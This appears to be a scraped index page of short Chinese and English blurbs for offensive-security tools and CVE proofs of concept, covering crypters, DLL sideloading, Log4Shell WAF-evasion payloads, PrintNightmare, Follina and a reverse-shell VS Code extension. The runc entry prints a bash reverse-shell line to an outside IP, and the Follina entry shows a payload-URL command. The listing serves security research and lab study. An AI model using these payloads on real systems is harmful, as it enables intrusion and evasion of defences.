BumbleCrypt

BumbleCrypt 一个受 Bumblebee 启发的 Crypter 背景 BumbleCrypt 的灵感源自 Bumblebee 的 crypter。在 Bumblebee 的案例中，主 Bumblebee DLL 被加载到内存中，并按以下方式执行： 解密并将 payload 写入 Heap（堆）中 Hook 三个 NtApi —— NtOpenFile、NtCreateSection 和 NtMapViewOfSection 调用 LoadLibraryW"gdiplus.dll"，这会触发 inline hooks，因为上述三个 API 会被 LoadLibrary...

NimDllSideload

Nim DLL 侧加载 此仓库可让你轻松生成可用于侧加载/代理加载的 Nim DLL。 如果你不太了解什么是 DLL 侧加载，可以看看这篇博客文章。 我该如何使用？ 将你想要代理的合法 DLL（或多个 DLL）放入此仓库的 build 目录，然后运行 make。 这将在 out 目录中生成两个 .dll： 名称随机的那一个是原始 DLL，函数调用将被代理到它 另一个将是你的有效载荷 如果侧加载成功，你应该会看到一个消息框弹出和/或一个文件被写入桌面。 要实际“武器化”有效载荷，你可以查看 OffensiveNim 仓库获取思路和现成的代码片段 :。 它是如何工作的？ dllproxy.n...

ManualRsrcDataFetching

ManualRsrcDataFetching：一个用于替代 FindResource & LoadResource & LockResource & SizeofResource Windows API 的函数。 注意：Payload.ico 是一个 x64 calc shellcode...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

CVE-2014-6287

Rejetto HttpFileServer 2.3.x - Remote Command Execution CVE-2014-6287 🚨 About the Exploit This is a proof-of-concept exploit for the well-known Remote Command Execution vulnerability in Rejetto HttpFileServer HFS v2.3.x , identified as CVE-2014-6287. By abusing the vulnerable search functionality...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator可以生成初级混淆的或二级混淆的CVE-2021-44228或CVE-2021-45046 payloads，以规避WAF检测。 Log4Shell-obfuscated-payloads-generator的设计思想 安装 root@kitploit: git clone https://github.com/r3kind1e/Log4Shell-obfuscated-payloads-generator.git...

CVE-2017-8759

Exploit tool CVE-2017-8759 Exploit tool CVE-2017-8759 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other payload to victim...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 Descripción Este sencillo script en Python te permite enviar un payload a una dirección IP y puerto objetivo utilizando el protocolo SMB. Está diseñado para demostrar el uso de un payload de exploit SMB con fines educativos. El payload es un mensaje SMB...

CSRFER

CSRFER root@kitploit: / / | \ | | \ | / /\ --.| |/ / | | | | |/ / | | --. \ /| | | || / | /// / |\ | | | || |\ \ //| \| /| | -.--. " '-, ',' 2 \ \q \ . \ .--' '----. / . . \ .'.' \ .-.\ '-, ,/ .---;- . \ \ .\ // '-. \ \ | '. , '-. c=' Cooo -. '-. '. '-. \ snd '-. '. '-. \ ---' CSRFER...

Demonstration-of-CVE-2023-38831-via-Reverse-Shell-Execution

CVE-2023-38831 Reverse Shell Demonstration This repository contains a PDF summary and screenshots of a lab-based demonstration of CVE-2023-38831. The vulnerability allows attackers to embed and execute malicious payloads in compressed files. In this case, the payload triggers a reverse shell...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Polyglot Payload In the last weeks in November 2025, an interesting vulnerability CVE-2025-64512 was disclosed in pdfminer.six, a popular Python project to process PDF files, used in particular in AI pipelines. The vulnerability enables remote code execution by deserializing...

CVE-2023-26208

CVE-2023-26208 Exploit Automation For Educational Purposes 🚨 📌 Description This is a Python script with a graphical interface Tkinter that allows the user to test automated request submissions to a login endpoint. The goal is to simulate how servers respond to different payload sizes and analyze...

CVE-2025-51863

CVE-2025-51863 Vulnerability description ChatGPTUtil is a AI-powered chatbot assistant, providing access to both ChatGPT and an AI image generator. A Self Cross-Site Scripting Self-XSS vulnerability exists in the chat component. This can lead to cookie theft leading to remote account hijacking...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab 实验前提条件 演示应用来自：http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA 来自 JBOSS 下载存档：https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64 来自 JAVA...

Follina-CVE-2022-30190-POC

Nee 的 Follina-CVE-2022-30190 概念验证 用法 root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 功能说明 创建一个恶意 Word 文件，该文件指向你指定的 payload 网址 托管位于 web 文件夹中的默认 payload 概念验证默认弹出计算器 欢迎随意修改并提交 :...

CVE-2021-34527

CVE-2021-34527 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | June 1, 2021 UPDATE June 2 2021 : Microsoft has released an advisory on CVE-2021-34527, correctly terming that specific identifier as the PrintNightmare vulnerability exploit. Previously, the community was assuming...

CVE-2025-55319-PoC

Reference: CVE-2025-55319 针对 HTB "Checkpoint" 挑战的 VS Code .vsix 扩展概念验证。 安装后，扩展自动激活并产生一个隐藏的 PowerShell 反向 shell 回连到攻击者。 ⚠️ 仅限授权使用。 这是一个 CTF/实验室环境产物。仅可部署在你拥有或明确授权测试（例如 HTB 目标机）的机器上。 工作原理 extension/package.json — 扩展清单。"activationEvents": "" 使它在 VS Code 加载时即刻运行，无需用户交互。 extension/extension.js — 在...

MOVEit Transfer - SQL Injection

In Progress MOVEit Transfer before 2020.1.11 12.1.11, 2021.0.9 13.0.9, 2021.1.7 13.1.7, 2022.0.7 14.0.7, 2022.1.8 14.1.8, and 2023.0.4 15.0.4, a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized...

CVE-2025-6019

CVE-2025-6019 PoC 针对 UDisks2 XFS 调整大小权限提升的简单概念验证。 文件 createpayload.sh：构建包含 SUID rootbash 载荷的 XFS 镜像。 exploit.sh：触发调整大小路径并启动 SUID shell。 要求 mkfs.xfs、udisksctl、gdbus、loginctl 一个 allowactive Polkit 会话（例如，物理控制台登录，或通过另一个漏洞（如 CVE-2025-6018）获得的会话） 由 createpayload.sh 生成的精心构造的 XFS 文件系统镜像 用法 1. 创建载荷镜像：...

AcrStealer-Custom-Protocol-Credential-Theft-Payload-Extraction-Analysis

1. 网络连接与 SSL/TLS 配置 通过 Process Hacker 内存分析发现，AcrStealer 使用 SSL/TLS 建立网络连接，以与其 C2 服务器进行安全通信。 关键观察： SslClientCert – 使用客户端证书进行身份验证（规避检测）。 EnabledProtocols – 指定支持的 TLS 协议（例如 TLS 1.2、1.3）。 EnabledRevertToSelfClientCertificate – 允许回退到自签名证书。 Connection / DataChunks – 表示活跃的数据传输。 Available – 待发送的数据缓冲区。...